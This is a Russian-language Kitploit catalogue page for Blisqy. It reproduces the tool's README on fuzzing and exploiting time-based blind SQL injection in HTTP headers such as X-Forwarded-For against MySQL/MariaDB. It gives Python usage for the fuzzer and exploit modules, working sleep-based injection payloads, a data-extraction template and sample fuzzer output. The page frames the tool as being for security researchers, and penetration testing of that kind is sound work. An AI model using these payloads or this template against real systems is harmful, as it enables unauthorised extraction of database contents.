Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Blisqy — Версия 0.2 - Эксплойт для Time-based blind-SQL injection в HTTP-Headers (MySQL/MariaDB). | Kitploit
Инструменты/GitHubGitHub/johntroony/blisqy
Сканеры уязвимостейЭксплуатацияВеб-безопасностьФаззингБезопасность Баз Данных
GitHubjohntroony/blisqy

Blisqy

Версия 0.2 - Эксплойт для Time-based blind-SQL injection в HTTP-Headers (MySQL/MariaDB).

Репозиторий
4161117 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

1. Blisqy

Blisqy — это инструмент, помогающий исследователям веб-безопасности находить временные слепые SQL-инъекции (Time-based Blind SQL injection) в HTTP-заголовках, а также эксплуатировать эту уязвимость.

Эксплуатация позволяет медленно выкачивать данные из базы данных (в настоящее время поддерживается только MySQL/MariaDB) с помощью побитовых операций над печатаемыми символами ASCII через слепую SQL-инъекцию.

Для совместимости с другими инструментами на Python и возможности использовать функции, предоставляемые Blisqy, модули можно импортировать в другие скрипты на Python.

При тестировании временных слепых SQL-инъекций любая задержка или перегрузка сети может повлиять на эффективность фаззинга или эксплуатации. Чтобы компенсировать возможные сетевые задержки и неопределённости, которые могут вызывать задержки, сравнение времени в Blisqy является динамическим и вычисляется во время выполнения для каждого теста. Тесты используют greenlet (легковесный, кооперативно планируемый исполняемый блок) для предоставления высокоуровневого синхронного API поверх цикла libevevent. Это обеспечивает быстрый и эффективный способ выполнения тестов полезной нагрузки за короткое время, при этом один конкретный тест не должен влиять на другой, поскольку они выполняются не строго последовательно.

1.1. Новые возможности

Blisqy теперь поддерживает фаззинг на предмет временных слепых SQL-инъекций в HTTP-заголовках, а основные функции (фаззинг и эксплуатация) разделены на независимые файлы для портативности.

1.2. Фаззинг с Blisqy

Чтобы использовать функцию фаззинга, импортируйте следующий модуль в свой скрипт на Python и укажите цель вместе с данными для фаззинга, как показано ниже:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

Параметры цели должны быть в формате словаря/JSON, например (Обратите внимание на типы данных переменных):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

Запуск фаззера после предоставления параметров цели осуществляется следующим образом:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Вы можете ознакомиться с FindBlindSpot.py для этого примера.

1.2.1. Пример вывода фаззинга

При успешном выполнении вы должны получить отчёт о «инжектируемых» проведённых тестах. Обратите внимание, что, хотя Blisqy старается компенсировать сетевые задержки и перегрузки во время тестирования, важно проверить сообщённые положительные тесты перед продолжением.

Ниже приведён пример отчёта:

root@kitploit:~
=================== [ Ключевые термины] ===================
Index = Настроенная константа (Задержка)
Base Index Record = Пинг сервера перед фаззингом
Benching Record = Base Index Record + Index
Fuzzing Record = Время обработки запроса с Index

===================== [ Логика] =====================
Если Fuzzing Record больше, чем Benching Record,
считаем результат положительным; иначе — отрицательным.



[+] Инъекция : X-Forwarded-For : ' or sleep(1)#

[+] Заголовок : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Тест 436 — инжектируемый.
__________________________________

[+] Инъекция : X-Forwarded-For : ' or sleep(1)='

[+] Заголовок : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Тест 438 — инжектируемый.
__________________________________

Скриншот работы фаззера Blisqy:

Фаззинг слепой SQLi

1.3. Эксплуатация с Blisqy

После нахождения потенциальной временной слепой SQL-инъекции вы можете подготовить скрипт для эксплуатации уязвимого веб-приложения.

Как и для фаззера, вы можете импортировать модуль для эксплуатации в свой скрипт на Python и определить шаблон для операции эксплуатации. Ниже приведён пример того, как импортировать модуль в скрипт на Python:

root@kitploit:~
from lib.blindexploit import SqlEngine

Далее вам нужно указать данные вашей цели вместе с её параметрами для эксплуатации. Ниже приведён пример реализации эксплуатации найденной слепой SQL-инъекции, обнаруженной фаззером:

Данные цели должны быть в формате словаря/JSON с указанием сервера, порта, найденного уязвимого заголовка и его значения (некоторые приложения требуют или проверяют определённое значение). Также обратите внимание на типы данных переменных.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

Параметры цели должны следовать за этим, позволяя пользователю указать некоторые опции, связанные с предпочтениями эксплуатации.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime — задержка, используемая в полезных нагрузках.
  • payload — опция для запуска эксплуатации с пользовательским SQL-запросом, например select @@hostname. Значение по умолчанию — 'pass'.
  • mysqlDig включает автоматическую эксплуатацию и перечисление всех доступных таблиц в схеме.
  • interactive — опция, позволяющая пользователю взаимодействовать с процедурой эксплуатации. Это может быть удобно, когда нужно перейти к интересующим частям БД.
  • verbosity может быть высоким, средним или низким. Это просто управляет объёмом выводимой информации от процедуры эксплуатации.

После предоставления цели и её параметров следующим шагом нужно задать шаблон для процедуры эксплуатации. Blisqy предоставляет способ, позволяющий пользователям указать, куда вставлять полезную нагрузку для эксфильтрации SQL и задержку sleeptime. Ниже приведён пример реализации для одной из найденных уязвимостей из примера отчёта, приведённого в предыдущем подразделе.

Найдена инъекция в заголовок X-Forwarded-For:

root@kitploit:~
' or sleep(1)='

Шаблон для этой конкретной инъекции:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Во время выполнения *sql* будет заменён на полезную нагрузку SQL-инъекции, а *time* — на задержку для sleep().

После того как всё это сделано, последний шаг — создать экземпляр процедуры эксплуатации и позволить методу MysqlDigger() выполнить работу.

root@kitploit:~
# Создаём экземпляр
BlindSql = SqlEngine(target, targetParam, sqli)

# Перечисляем базу данных MySQL
BlindSql.MysqlDigger()

Вы можете проверить ExploitBlindSpot.py для этого примера.

Ниже приведён пример операции эксплуатации:

Эксплуатация слепой SQLi

1.4. Планы

  • Интегрировать интеллектуальный фаззер для поиска уязвимостей SQL-инъекций в HTTP-заголовках и веб-элементах
  • Поддержка фаззинга и эксплуатации слепых SQL-инъекций на веб-конечных точках, помимо HTTP-заголовков.

1.4.1. Вклад

Вы можете сообщить мне о чём-либо интересном, найденном с помощью Blisqy, или о том, что, по вашему мнению, следует добавить/удалить.

  • Делитесь своими идеями и пожеланиями,
  • Нашли опечатку? Дайте знать,
  • Нашли способы оптимизировать Blisqy?,
  • Предложите способы добавления поддержки других СУБД.

1.4.2. Ссылки

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Доступно по: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab — From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Скачать инструмент